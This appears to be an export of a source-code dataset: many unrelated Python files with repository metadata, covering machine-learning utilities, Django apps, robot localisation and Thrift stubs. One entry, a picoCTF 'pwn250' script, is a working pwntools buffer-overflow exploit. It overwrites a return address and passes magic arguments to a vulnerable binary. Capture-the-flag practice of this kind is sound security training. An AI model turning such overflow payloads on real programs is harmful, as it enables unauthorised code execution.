LIBRARY_PATH = '/opt/topspin/exp/stan/nmr/py/user'
sys.path.append(LIBRARY_PATH)
from topchef_client import NetworkManager
from topchef_client import TopChefService
True = "1"
False = "0"
server_address = 'http://192.168.1.216/dev'
adder_service_id = '1cb40868-101f-11d9-9a55-000cf18a2ce6'
n... | [
"michalkononenko@gmail.com"
] | michalkononenko@gmail.com |
0e6b15d493b10254f9e208b5e71756058f247465 | 84f073856c8665b0f8b813a46a38f96ccd4f2790 | /object_detection/utils/label_map_util.py | c5e5c86fb326b6e7ce16928714c3540fbed82932 | [] | no_license | fengrk/ml_tools | ad9336e47447e9a0f63ba7fc2e86c7eea51c955e | 70e634250455ff6f3aeb826e781b8096adbdc066 | refs/heads/master | 2023-07-19T15:34:46.780323 | 2019-03-02T03:59:53 | 2019-03-02T03:59:53 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,442 | py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"frkhit@gmail.com"
] | frkhit@gmail.com |
619937df9bc5ad69bb41fd822a6d57377e711e63 | d659fb0db310793b918640fdb673b9bd755578bc | /third_party/text_analysis.py | 77b623298203a576c583c2364375d44483e1c9d1 | [
"MIT"
] | permissive | astuk/python-snippets | 562bdcdb23c537650a767fb0369388d9530a67ae | 212f63f820b6f5842f74913ed08da18d41dfe7a4 | refs/heads/master | 2023-06-18T04:29:48.111537 | 2021-07-14T10:55:59 | 2021-07-14T10:55:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 224 | py | from pathlib import Path
from textblob import TextBlob
path = Path("src/text.txt")
with open(path) as f:
text = f.read()
blob = TextBlob(text)
for sentence in blob.sentences:
print(sentence.sentiment.polarity)
| [
"f2dahlitz@freenet.de"
] | f2dahlitz@freenet.de |
00d78c4a4adeb9bd9683c99726c067a3d7829696 | 80d9806dfb09858875c77c285a3ce1ce496dbbcd | /setup.py | d418d3608286c45bad5380aed630c48c76ffa793 | [] | no_license | wkentaro/chainer-cyclegan | 86e9a5a3c8aae03caf37940209aa432738478989 | 64b811773802e4d755eebb5110735f8953beb220 | refs/heads/master | 2021-10-23T15:33:26.856556 | 2019-03-18T13:00:07 | 2019-03-18T13:00:07 | 114,517,994 | 13 | 4 | null | 2018-03-30T14:40:41 | 2017-12-17T07:32:05 | Python | UTF-8 | Python | false | false | 982 | py | import subprocess
import sys
from setuptools import find_packages
from setuptools import setup
version = '1.2.5'
if sys.argv[-1] == 'release':
commands = [
'python setup.py sdist upload',
'git tag v{0}'.format(version),
'git push origin master --tag',
]
for cmd in commands:
... | [
"www.kentaro.wada@gmail.com"
] | www.kentaro.wada@gmail.com |
e8041325e5a03187eca417efcb61e8e3c5da43ac | 59144f1514d0e546000848661effc7a503e109ed | /python/add_file.py | 2666a2744e64fcf7a7aa3320e8664073599639fd | [] | no_license | rahul-pathak-12/Capture-Point-Modelling | b7231f708e67c8bc88404bb2f29c145421ea98e0 | cbcbb2458c807c53d0a1c7139d21ad204c9564c3 | refs/heads/main | 2022-12-25T15:08:27.038837 | 2020-10-12T21:29:55 | 2020-10-12T21:29:55 | 303,515,864 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,408 | py | import os
from os import listdir
from os.path import isfile, join
from sklearn import preprocessing
import numpy as np
import pandas as pd
VERSION = "TRAIN"
DIR_ORIGIN = "C:\\Users\\User\\Desktop\\RAW_DATA\\\STEP_MODELLING\\" + VERSION + "\\"
DIR_DEST = "C:\\Users\\User\\Desktop\\RAW_DATA\\\STEP_MODELLING_PROCESSED\\... | [
"rahul.pathak@hotmail.com"
] | rahul.pathak@hotmail.com |
cb1810bfd5b85a39824367a9ea617e958eb2a01c | 5428106b0e4f385d4f4604539ca4c22f092b84ac | /picoCTF2019/pwn250/pwn250.py | a6b1cb4711c708aac33d8be72027522a8488281c | [] | no_license | danbrodsky/ctf | ced190d78d6259a71e70d698f803d8e743c85f9b | d56d42d65a35be84f10fa4cfb3ac2474a4b72cfc | refs/heads/master | 2021-07-08T02:17:25.753376 | 2020-12-30T05:44:03 | 2020-12-30T09:34:40 | 214,593,004 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 309 | py | from pwn import *
# p = process('/problems/overflow-2_0_f4d7b52433d7aa96e72a63fdd5dcc9cc/vuln')
p = process('./vuln')
p.sendline('A'*188 + p32(0x80485e6) + 'a'*4 + p32(0xDEADBEEF) + p32(0xC0DED00D))
print p.recvall()
# print('A'*188 + p32(0x80485e6) + p32(0xDEADBEEF) + p32(0xC0DED00D))
# p.interactive()
| [
"d6brodsky@gmail.com"
] | d6brodsky@gmail.com |
5ec786f6620462f9179a0a659728a5f293abe6a9 | 0cef8deb473ffac47344dd46039b9f962d9d0ccf | /examples/ptb/char_rae.py | 5ceecf3aa2af2408ab7043f68c70848b8c46f69a | [
"Apache-2.0"
] | permissive | NervanaSystems/ngraph-neon | 6045d51b6c67348b0df8cbe051253543b691f29d | 3d17f06ae723ec5c2e3a52c9c840b4d6c7640f22 | refs/heads/master | 2023-06-22T02:54:20.143134 | 2023-01-03T22:54:35 | 2023-01-03T22:54:35 | 83,846,593 | 14 | 6 | Apache-2.0 | 2022-10-17T03:51:08 | 2017-03-03T22:19:31 | Python | UTF-8 | Python | false | false | 6,826 | py | #!/usr/bin/env python
# ******************************************************************************
# Copyright 2017-2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
... | [
"sang.ik.lee@intel.com"
] | sang.ik.lee@intel.com |
420170684f99d322af40a55732783f81fe0183aa | c1d6a5a715d198b556bc19240693a1621dd7f81b | /app/main/model/posts_model.py | bf6820ce99ec5fe40242db5d756e653808d1e6c2 | [] | no_license | clive1995/python-practice-proj | 0ff39e197a16a02a0d54c55d5abc7c086f05068a | 38e6010e265d0a62a16eb88ba063c0c8379a1dc9 | refs/heads/master | 2023-02-21T13:17:28.743815 | 2021-01-21T07:17:35 | 2021-01-21T07:17:35 | 327,896,120 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 768 | py | from .. import mdb
from .user_model import User
import datetime
class Likes(mdb.EmbeddedDocument):
userId = mdb.ReferenceField(User)
class Comments(mdb.EmbeddedDocument):
userId = mdb.ReferenceField(User)
publicId = mdb.UUIDField()
text = mdb.StringField()
# name = mdb.StringField()
createdO... | [
"almeidacclive@gmail.com"
] | almeidacclive@gmail.com |
0305bffab91530450d963a852da22b235312750e | 41d1e085dc3ec6c329b8d6443035e1e8a1c93bcc | /gridded/tests/test_pysgrid/test_processing_2d.py | dc315187cf10aeba2e0c9777265a7f8e7304e614 | [
"Unlicense"
] | permissive | Ocean1125/gridded | 9252d3d89ecacc55c59a0ecf6fd60fe6ac0afd6e | 90cca5edf4c8d9a47914c2b6d6f78180d9c280a5 | refs/heads/master | 2023-05-15T13:21:34.144583 | 2021-06-03T21:50:01 | 2021-06-03T21:50:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,341 | py | """
Created on Apr 3, 2015
@author: ayan
"""
from __future__ import (absolute_import, division, print_function)
import pytest
import numpy as np
from gridded.pysgrid.processing_2d import avg_to_cell_center, rotate_vectors, vector_sum
def test_vector_sum():
x_vector = np.array([3, 5, 9, 11])
y_vector = np... | [
"Chris.Barker@noaa.gov"
] | Chris.Barker@noaa.gov |
ee9570ac547bccf91a414edc9b5d73e065cfd695 | 9f26388284fb7900d28f64c0a87dc9d042661f3d | /linggajati_membership/models/models.py | 9efb1861ca20d505287e40bbe39a4e101f4d2fd6 | [] | no_license | suningwz/gnbs-project-module | 574742744e8a4a8bee0719cd7764d17d423719d6 | 4122376edfa6663b072b8f2946b036bd814ee7ef | refs/heads/main | 2023-04-15T16:21:32.473932 | 2021-04-30T01:32:25 | 2021-04-30T01:32:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 871 | py | from odoo import api, fields, models
class ResPartner(models.Model):
_inherit = 'res.partner'
@api.model
def get_all_data(self):
# result = {}
result = []
res_partner = self.env['res.partner'].search([])
# print('rest partner :', res_partner)
# print('email :', res... | [
"abuabdirohman4@gmail.com"
] | abuabdirohman4@gmail.com |
d060ae03bafd519e0887b2a4bc2d04c63345c116 | 95e5da0f1b811e8f3e5a964ed3efc55e927b0c60 | /knn.py | 06d5f489153a04654901c8f5d46f3c0ef7727172 | [] | no_license | delta9874/ML-practice | 40dfbb089fa1fc39c323c12aaaf3655f2ba55d3c | 657dee66302516479c0dc73259c4f04f6e5e45bd | refs/heads/master | 2020-06-18T20:42:28.696737 | 2019-07-11T17:46:26 | 2019-07-11T17:46:26 | 196,440,544 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,976 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Feb 13 15:05:49 2019
@author: delta
"""
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn import model_selection
from sklearn import metrics
from sklearn import ensemble
from datetime import datet... | [
"noreply@github.com"
] | delta9874.noreply@github.com |
d14f782b0de48917af7243ab5ea11b9cf46f61c0 | 794decce384b8e0ba625e421cc35681b16eba577 | /tensorflow/python/ops/nn_loss_scaling_utilities_test.py | a71c0cf5992d24f735c49f3c68f1f7b9a7e2d43c | [
"LicenseRef-scancode-generic-cla",
"Apache-2.0",
"BSD-2-Clause"
] | permissive | 911gt3/tensorflow | a6728e86100a2d5328280cfefcfa8e7c8de24c4c | 423ea74f41d5f605933a9d9834fe2420989fe406 | refs/heads/master | 2023-04-09T14:27:29.072195 | 2023-04-03T06:20:23 | 2023-04-03T06:22:54 | 258,948,634 | 0 | 0 | Apache-2.0 | 2020-04-26T05:36:59 | 2020-04-26T05:36:58 | null | UTF-8 | Python | false | false | 8,517 | py | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"gardener@tensorflow.org"
] | gardener@tensorflow.org |
0cb1ceb7d98c6a2de4c393b4e2b6c54464cba5f0 | 0a3677a38ad1431d5fe07b5f15c70bbd1ba64741 | /DexiNed/DexiNed-Pytorch/main.py | 3d652142af958f0cfedd1e170e05446e17182f11 | [
"MIT"
] | permissive | Tubbz-alt/sketch2cat-pulse | 5374c8f9dea8e2525a56d2acec8b72ef0787831e | 0f02363757eb072078d5ed866067eefc7df2a233 | refs/heads/master | 2023-01-15T20:20:32.072643 | 2020-07-27T00:20:34 | 2020-07-27T00:20:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 24,531 | py |
from __future__ import print_function
import os, sys, time
import argparse
import cv2 as cv
import numpy as np
import random # import matplotlib.pyplot as plt
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader
from torchvision.transforms import transforms
... | [
"sashashengyt@gmail.com"
] | sashashengyt@gmail.com |
d76f8ca07d1ad9d079c6e38cf85e61ef63f39ac2 | 91a64c5b90b04c1fc66f781da07b8ee6352f6260 | /api/models/twse_over_bought.py | c92ff8585695dab0fd7233afd04f2cf8cac00915 | [] | no_license | deersheep330/svc-api | 309949f046334beb52a70cb737276c60b798fd4b | a86008a9fbd5fa45f5809d142060c311e3a08625 | refs/heads/master | 2023-02-15T09:26:48.923293 | 2021-01-13T09:11:59 | 2021-01-13T09:11:59 | 322,479,858 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 569 | py | from sqlalchemy import Column, String, Date, Integer, func, ForeignKey
from sqlalchemy.orm import relationship
from ..db import Base
class TwseOverBought(Base):
__tablename__ = 'twse_over_bought'
symbol = Column(String(16), ForeignKey('stock.symbol'), nullable=False, primary_key=True)
date = Column(Date... | [
"yangchiu@inquartik.com"
] | yangchiu@inquartik.com |
8b5034a5ccb77ac0bd4e8067f44ce7262bb7a28f | 713ae0f3f54f8fcfae796a46b3c307c329e0818f | /mailing/views.py | a683a30e32851f44fda1878d419f5456bbc6508b | [] | no_license | MartinStevko/mailing | 68396e0a015823de7ad3c1be7db3cdfd6f8b375c | 1aff64f1ef6e7232f8a7591f445c6818006df399 | refs/heads/master | 2020-03-29T12:40:52.166485 | 2018-09-24T17:41:56 | 2018-09-24T17:41:56 | 149,912,131 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 576 | py | from django.shortcuts import render, redirect
from django.views import View
from django.conf import settings
from django.core.mail import send_mail
from .models import *
class MailView(View):
template = 'mailing/index.html'
def get(self, request):
send_mail(
'Testovanie mailingu',
... | [
"mstevko10@gmail.com"
] | mstevko10@gmail.com |
7ecc834bd42da9a9ef5316f8cbec45fb208fb2ac | 9e0e3a155f7f533b178d4ed31ae7a16050e414c2 | /edx-ai-week4-project-master/edx-ai-week4-project-master/KernelCalculator.py | 14d764b07feafc728556d44b59674f92415fd826 | [] | no_license | RudraNilBasu/edx_AI | 1c67595fbf4d12619e61282d88b7374dc01d9e98 | 5c80bb241b7d79cb6fdd9d331d03e8171a46e642 | refs/heads/master | 2021-08-22T08:42:16.809292 | 2017-11-29T19:40:22 | 2017-11-29T19:40:22 | 112,519,558 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 423 | py | import FastGrid
from Util import Util
from UtilityCalculation import UtilityCalculator
class KernelCalculator(UtilityCalculator):
def __init__(self, create_snake=True, ramp_amplification=2.0):
self.kernel = Util.compute_kernel(create_snake=create_snake, ramp_amplification=ramp_amplification)
def comp... | [
"rudra.nil.basu.1996@gmail.com"
] | rudra.nil.basu.1996@gmail.com |
0fed331e4c8562a59ca97e427cf0565c82985187 | 9b2789e2933f67f7d089f71ffb1ea9a1b4745fca | /spider_project/spider_market/admin.py | 9cd5eeb9fe66ce95a5bd09273ea2ad17de606998 | [
"MIT"
] | permissive | Sam1808/SG | eaff1b9eca9c1a2f29bdb520a56e65d71c576a81 | 4352aebdc35b5d84be09863af5d85b843e039e20 | refs/heads/main | 2023-03-16T19:52:44.466833 | 2021-03-01T08:17:42 | 2021-03-01T08:17:42 | 331,236,041 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 436 | py | from django.contrib import admin
from .models import Category
from .models import Company
from .models import Product
from .models import User
@admin.register(Category)
class CategoryAdmin(admin.ModelAdmin):
pass
@admin.register(Company)
class CompanyAdmin(admin.ModelAdmin):
pass
@admin.register(Product)... | [
"Anton.Pozdnyakov.I@gmail.com"
] | Anton.Pozdnyakov.I@gmail.com |
1464ca6d44baf915444d9dad3ecc767fdff28e0e | dffd7156da8b71f4a743ec77d05c8ba031988508 | /ac/abc154/abc154_b/9971915.py | c5baf251f913ab6f70b442a7456aca0f26f2032a | [] | no_license | e1810/kyopro | a3a9a2ee63bc178dfa110788745a208dead37da6 | 15cf27d9ecc70cf6d82212ca0c788e327371b2dd | refs/heads/master | 2021-11-10T16:53:23.246374 | 2021-02-06T16:29:09 | 2021-10-31T06:20:50 | 252,388,049 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 25 | py |
print("x"*len(input()))
| [
"v.iceele1810@gmail.com"
] | v.iceele1810@gmail.com |
30baae12e19f189b80c4c6bf2f69ad918fe7a895 | 83dec5389da7a2c3e4759a3b92abcae18d60c77e | /trainlog/_version.py | b0ae2e2d97b9c7231d2d855fbb09cab5ea69c876 | [
"MIT"
] | permissive | DouglasOrr/TrainLog | 0c72b837f38145601c8de154893a95f57c6c58ed | 5478a6f90627817aae6acb665a2c36192b3ec0f2 | refs/heads/master | 2023-02-08T10:45:43.631905 | 2021-01-01T09:42:59 | 2021-01-01T09:42:59 | 323,322,850 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 43 | py | """Module version."""
__version__ = "0.3"
| [
"douglas.orr99@gmail.com"
] | douglas.orr99@gmail.com |
8852a16d08a5a003bc41bff9adedcf3cc48f8f8d | ec34cd789c188573987741d478addc3c4a576f22 | /BIOMD0000000500/model.py | 11dfd41813aa524d632ef5d5903df4221ed7bffd | [
"CC0-1.0",
"LicenseRef-scancode-public-domain"
] | permissive | biomodels/BIOMD0000000500 | 49362f1fffbb49e07d8077a5aab81e3ec7072ab5 | 2e28e1c78e37f1bdb716300a0bf902c6e8a0056e | refs/heads/master | 2018-12-31T19:25:22.954078 | 2014-10-16T05:27:55 | 2014-10-16T05:27:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 427 | py | import os
path = os.path.dirname(os.path.realpath(__file__))
sbmlFilePath = os.path.join(path, 'BIOMD0000000500.xml')
with open(sbmlFilePath,'r') as f:
sbmlString = f.read()
def module_exists(module_name):
try:
__import__(module_name)
except ImportError:
return False
else:
ret... | [
"stanleygu@gmail.com"
] | stanleygu@gmail.com |
dfda23ba52d06ae59f94778824b2821140346d4b | 924aa2af8991e9ff18821bfd852a27410b8af583 | /app/blog/main.py | 6f8e6b08276dc321cfd4ab59e6f257317f1519a1 | [] | no_license | cmanish049/fastapi | e1b86f6fdb7f172e305cf6925fcfc8fca430a34b | 433af34d765c707bcb834401930773b25e2263dd | refs/heads/main | 2023-06-05T18:00:50.818915 | 2021-06-15T09:40:47 | 2021-06-15T09:40:47 | 377,111,115 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 339 | py | from blog.routers import user
from fastapi import FastAPI
from blog import models
from blog.database import engine
from blog.routers import blog, user, authentication
app = FastAPI()
models.Base.metadata.create_all(bind=engine)
app.include_router(authentication.router)
app.include_router(blog.router)
app.include_r... | [
"cmanish049@gmail.com"
] | cmanish049@gmail.com |
0bd37e75d236a48f03ea922f9cbda948310d785c | a67b85c3dd12be926cac1b773b034ceeb45f35dd | /contacts.py | 62d831725f77113a3fb88dcb1799fa2e6cf80c50 | [] | no_license | ShujaAbrar/python | 7dd2bb0d1ce5e42e41bd0cd2aa988997f5af0019 | d5b47ff56ba79132b89c573abfe196d71906f1b8 | refs/heads/master | 2022-09-16T11:55:51.178719 | 2020-05-28T15:04:53 | 2020-05-28T15:04:53 | 266,954,563 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 438 | py | n=int(input())
l=[]
for i in range(n):
x=list(map(str,input().split()))
if x[0]=="add":
l.append(x[1])
if x[0]=="find":
count=0
for j in range(len(l)):
if l[j].find(x[1])!=-1:
count+=1
l[j]="-1"
print(count)
________________________... | [
"noreply@github.com"
] | ShujaAbrar.noreply@github.com |
59835f76410fdd430aaafe095baf7b9c493635fe | f848ebf1adb25cc6d188f43fb02c06dad1b01651 | /api/employee.py | 71e0dada8044141e1a869937b0bb167c0e182676 | [] | no_license | miao88318/day03_apiTestIHRM | 673320c724d9a661fa9ed120a62e0d82118719d9 | 213e4a498055e693993b21ca2bc7942af2a25c74 | refs/heads/master | 2022-07-28T04:39:05.390142 | 2020-05-21T07:06:23 | 2020-05-21T07:06:23 | 265,769,499 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,596 | py | # 导包
import requests
# 创建员工的api类
class TestEmployeeApi:
def __init__(self):
self.login_url = "http://ihrm-test.itheima.net" + "/api/sys/login"
self.emp_url = "http://ihrm-test.itheima.net" + "/api/sys/user"
def add_emp(self, headers, username, mobile):
response = requests.post(self.em... | [
"stan@stan.com"
] | stan@stan.com |
d823898501c02c05d1ae6ef25b3f53acb1993905 | 426d2c882d2e3197c3ae0426b85f29d61abb6367 | /src/algorithms/mock_ranking.py | 08ed5f75b785a5b78ba11663ac7fb839c0810336 | [] | no_license | pestefo/ra_recommendator_conrec | 9b5a0c1a6958ed3f0834c95b53939314394c5425 | 8274b4d6d7dbcda95a24a07c7a1acb9df6003163 | refs/heads/master | 2023-02-18T06:13:07.333750 | 2022-11-04T00:01:04 | 2022-11-04T00:01:04 | 153,520,188 | 2 | 0 | null | 2023-02-11T02:11:22 | 2018-10-17T20:34:08 | null | UTF-8 | Python | false | false | 583 | py | #!/usr/bin/env python
# coding: utf-8
from random import randint
from operator import itemgetter
class MockRanking:
ranking = None
def __init__(self):
MockRanking.ranking = []
MAX_NUM_USERS = 43872
MAX_SCORE = 2500
for i in range(1,150):
MockRanking.ranking.append(... | [
"pestefo@gmail.com"
] | pestefo@gmail.com |
738ca2b4d18b5b461b81b8391794ffc365fb64ac | 2d1649a7a00d49b72ed7e53afa4abb3c9281ce03 | /.history/ParticleFilter/go_to_goal_20190422000909.py | 44131ed7c7cc6b39d57b9fe072ecd26c460c9af9 | [] | no_license | joshzhang5/CS3630Lab6 | 9547dc6c89198e9bb4aebd8359d4feb974082d20 | 69e6df12829e18a211ae850236d74b4d728046ef | refs/heads/master | 2020-05-15T13:59:51.906195 | 2019-04-22T18:21:42 | 2019-04-22T18:21:42 | 182,317,674 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,138 | py | # Jiaxi Zhang
# George McAlear
try:
import matplotlib
matplotlib.use('TkAgg')
except ImportError:
pass
from skimage import color
import numpy as np
from numpy.linalg import inv
import threading
import time
import sys
import asyncio
from PIL import Image
from markers import detect, annotator
from grid i... | [
"josh@lawn-143-215-110-217.lawn.gatech.edu"
] | josh@lawn-143-215-110-217.lawn.gatech.edu |
fdeecbc693b16c87cc920accd36f9da1ef8b27b7 | 42067b59116507b817bb85e517c1bebe9793e44d | /mysql/MysqlException/__init__.py | d810c89f0326ad8f5a144cd682d89f04a6cedb48 | [] | no_license | Yelphp/Python_study | b05517f24a7d68ede19d1fcd73c1845dcde6eb42 | 74bcec35894e6c7a9a00151ee6c88d7b92a60689 | refs/heads/master | 2022-09-15T18:20:15.701801 | 2020-06-02T07:46:40 | 2020-06-02T07:46:40 | 263,251,662 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 105 | py | #!usr/bin/env python
class MysqlException(Exception):
def __init__(self):
print('初始化')
pass; | [
"yels@cc.cc"
] | yels@cc.cc |
00d7668ae6a3f28c782338272199e6bbe8a40d2f | 97615bc7406963f570585b390997b26459cfbfa4 | /ask/qa/views.py | 619cea46a6981050361ea98b4709d6a5a7fb2dde | [] | no_license | s3b00/stepic_web_project | 5b1dba1b4ca656540426e6e408fb26cf52f37658 | 62de6bead5323a291e8ace3c7b96739d9d354ea8 | refs/heads/master | 2023-01-03T13:56:28.937493 | 2020-11-01T18:26:45 | 2020-11-01T18:26:45 | 301,691,890 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,327 | py | from django.contrib.auth.decorators import login_required
from django.views.decorators.http import require_GET
from django.http import HttpResponse, HttpResponseRedirect
from django.core.paginator import Paginator, EmptyPage
from django.shortcuts import render, get_object_or_404, Http404
from .forms import AskForm, A... | [
"seboo@yandex.by"
] | seboo@yandex.by |
8d7f11c56fe6bb5b741355a5dfad0460a1ea89f4 | 10b4db1d4f894897b5ee435780bddfdedd91caf7 | /thrift/compiler/test/fixtures/basic-annotations/gen-py3/module/types.pyi | d60450c59a3809ab28d5574573d39ae4ae414318 | [
"Apache-2.0"
] | permissive | SammyEnigma/fbthrift | 04f4aca77a64c65f3d4537338f7fbf3b8214e06a | 31d7b90e30de5f90891e4a845f6704e4c13748df | refs/heads/master | 2021-11-11T16:59:04.628193 | 2021-10-12T11:19:22 | 2021-10-12T11:20:27 | 211,245,426 | 1 | 0 | Apache-2.0 | 2021-07-15T21:12:07 | 2019-09-27T05:50:42 | C++ | UTF-8 | Python | false | false | 4,129 | pyi | #
# Autogenerated by Thrift
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
# @generated
#
import folly.iobuf as _fbthrift_iobuf
import thrift.py3.types
import thrift.py3.exceptions
from thrift.py3.types import __NotSet, NOTSET
import typing as _typing
from typing_extensions import Final
import ... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
f6bdb6fdae81f13cfe121cc6e8b2f81bffc9cc72 | 485cf3c70fcaa68689a2b690b6465f1d6bcf21bd | /Python3_Selenium3/第7章/7.28.py | 8d5897a67392f8b8f40cc6a250867a33283293b2 | [] | no_license | lxz0503/study_20190608 | 5ffe08c4704bb00ad8d1980baf16b8f5e7135ff4 | 47c37798140883b8d6dc21ec5da5bc7a20988ce9 | refs/heads/master | 2022-12-23T17:23:45.039015 | 2021-06-23T14:50:19 | 2021-06-23T14:50:19 | 190,884,812 | 1 | 3 | null | 2022-12-15T23:17:33 | 2019-06-08T12:22:56 | Python | GB18030 | Python | false | false | 455 | py |
###
###配套视频已出版,学习有疑问联系作者qq:2574674466###
###
#coding=utf-8
dict_1 = {'Name': 'Jack','Age':18,'Score':100}
print("操作字典元素之前,遍历并打印字典元素如下:")
for (key,value) in dict_1.items():
print(key + ":" + str(value))
dict_1.clear()
print("操作字典元素之后,遍历并打印字典元素如下:")
print(dict_1)
for (key,value) in dict_1.items():
print(key + "... | [
"lxz_20081025@163.com"
] | lxz_20081025@163.com |
00830b1923d7887a191dd956ab3d9d6ca167d13f | 4855ca7f4b48e170206a20d75446c17ddf77cf10 | /controllers/default.py | 01fc4e0d04bacbcbb9c5117e6ebedacebe9abad4 | [
"LicenseRef-scancode-public-domain"
] | permissive | jorgeagua/init | 148e3c059538a94b8ca65e46c5ca90aef62ac0a0 | 75f9254e3961f302132859d188e2c54e9a624779 | refs/heads/master | 2021-01-17T17:00:26.252948 | 2012-05-12T23:06:21 | 2012-05-12T23:06:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,494 | py | # -*- coding: utf-8 -*-
if 0:
from gluon.globals import *
from gluon.html import *
from gluon.http import *
from gluon.tools import Auth
from gluon.sqlhtml import SQLFORM, SQLTABLE, form_factory
session = Session()
request = Request()
response = Response()
### required - do no delete
de... | [
"jorge.agua@gmail.com"
] | jorge.agua@gmail.com |
eca833dd5032aa1e6795775cf3cdd34363e3c686 | 4d5f3693e6fc2c7b2c931376324229555cb72af7 | /driving_predicates.py | 4e790ce9c574c6a63b657c1b054c2cf856ba5ee0 | [] | no_license | m-j-mcdonald/driving_sim | a2ba8208f1fcf9aad2bc994d49e65bb618847134 | dc94b172ba5abb20e19039ecd1f83819f2d47d95 | refs/heads/master | 2020-03-20T03:23:49.390665 | 2018-07-10T00:11:21 | 2018-07-10T00:11:21 | 137,144,699 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 28,894 | py | import numpy as np
from sco.expr import Expr, AffExpr, EqExpr, LEqExpr
from core.util_classes.common_predicates import ExprPredicate
from internal_state.dynamics import *
MOVE_FACTOR = 2
END_DIST = 4
COL_DIST = 0.5
def add_to_attr_inds_and_res(t, attr_inds, res, param, attr_name_val_tuples):
if param.is_symbol... | [
"m_j_mcdonald@berkeley.edu"
] | m_j_mcdonald@berkeley.edu |
54bcf6cbfab570bf169c4098ee5b6793f73a1e8e | d2e3d7ffab17950f49ca7739d164851c2cb20793 | /currency_exchange/rateUpdater/updater.py | bccd72530d60f92e105ed37f74c2372bced69dd3 | [] | no_license | diaa95/Python_Stack | d6211208bf872d8434154186d9abe9fa291e84e1 | 4d37dca254624a8faa52264f2cdea7b389e7224f | refs/heads/master | 2023-03-17T09:29:15.197759 | 2021-03-08T16:51:27 | 2021-03-08T16:51:27 | 323,318,327 | 0 | 3 | null | 2020-12-27T09:18:55 | 2020-12-21T11:37:05 | HTML | UTF-8 | Python | false | false | 270 | py | from datetime import datetime
from apscheduler.schedulers.background import BackgroundScheduler
from rateUpdater import rateApi
def start():
scheduler = BackgroundScheduler()
scheduler.add_job(rateApi.update_rate, 'interval', minutes=45)
scheduler.start()
| [
"Diaa.abdaldayem@gmail.com"
] | Diaa.abdaldayem@gmail.com |
13f1517af465f4f0433f3dd29f9e10ba786f7d8a | 15cd250ae98a0647f81a2eefcfd738b32f56170a | /EditarInformacion.py | 33f2e953489a6636a92c542330911f49d709f099 | [] | no_license | hernanarangoisaza/Efenergy_v2.0 | 21fed08d5497ebaa692d096b59954b15bd3154c5 | be4faadec77e4e3ab52f4dec5f89d25c061ab5f8 | refs/heads/master | 2023-01-22T03:05:05.682459 | 2020-11-25T13:32:48 | 2020-11-25T13:32:48 | 296,912,896 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,472 | py | from ArchivoInformacion import ArchivoInformacion
import wx
import easygui as eg
class EditarInformacion(wx.Frame):
def __init__(self, id, title, informacion, archivo_txt, ventana_inicio, identificador):
wx.Frame.__init__(self, None, id, title, size = (878, 350),pos=(0,0), style = wx.DEFAULT_FRAME_STYLE
& ~(wx.R... | [
"31634784+hernanarangoisaza@users.noreply.github.com"
] | 31634784+hernanarangoisaza@users.noreply.github.com |
24de1f20787e1d6c9153630871c6cd0f77470b59 | 4fe36a6c302b48be5cc26f5a2b6cd43d8f720d6f | /break_continue.py | 6e3961c07dfea9cd358627e5a3409e90dd1eff8f | [] | no_license | semora93/PYTHON | acdc4d1d471a180a5392da5e0c45bce765ebb1ed | 3093c12282e3e345c01c20632fd13f275bf2e011 | refs/heads/master | 2022-12-06T01:25:56.092457 | 2020-08-24T00:47:55 | 2020-08-24T00:47:55 | 282,899,549 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 157 | py | def run():
for contador in range(1000):
if contador % 2 != 0:
continue
print(contador)
if __name__ = "__main__":
run()
| [
"sebastianmora93@gmail.com"
] | sebastianmora93@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.